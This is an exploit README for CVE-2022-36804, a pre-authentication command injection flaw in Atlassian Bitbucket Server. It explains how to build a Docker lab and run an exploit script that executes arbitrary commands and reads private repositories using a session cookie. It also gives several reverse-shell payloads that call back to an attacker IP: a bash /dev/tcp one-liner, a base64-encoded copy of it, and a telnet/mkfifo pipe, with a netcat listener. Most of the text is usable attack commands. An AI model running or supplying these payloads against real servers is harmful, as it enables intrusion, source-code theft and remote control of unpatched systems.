Exploit for CVE-2022-36804

## https://sploitus.com/exploit?id=4B259F70-F148-544C-9B57-BD83FF898A5F
# CVE-2022-36804: Pre-Auth RCE in Atlassian Bitbucket Server
A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions `<7.6.17`, `<7.17.10`, `<7.21.4`, `<8.0.3`, `<8.1.2`, `<8.2.2`, and `<8.3.1`

## Lab for CVE-2022-36804
### Build Docker
```
docker build -t bitbucket .
```

### Run Docker
```
docker run -it bitbucket
```

# Usage cve-2022-36804.py
### Check for Remote Code Execution (RCE)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990
```

### Check for RCE with customized command (cmd)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
```

###  Check for RCE with customized command, project key, and repository name
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
```

### Check for private repository
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7
```

### Get shell with netcat
Replace `172.17.0.3` with your local ip address
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"
```
Start netcat listner with:
```
nc -lvp 4444
```

Convert `/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1` to base64 in case of payload execution error.
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"
```

If you are still facing any error, execute below command:
> TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"
```

It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found [here](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# References
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://vulners.com/cve/CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/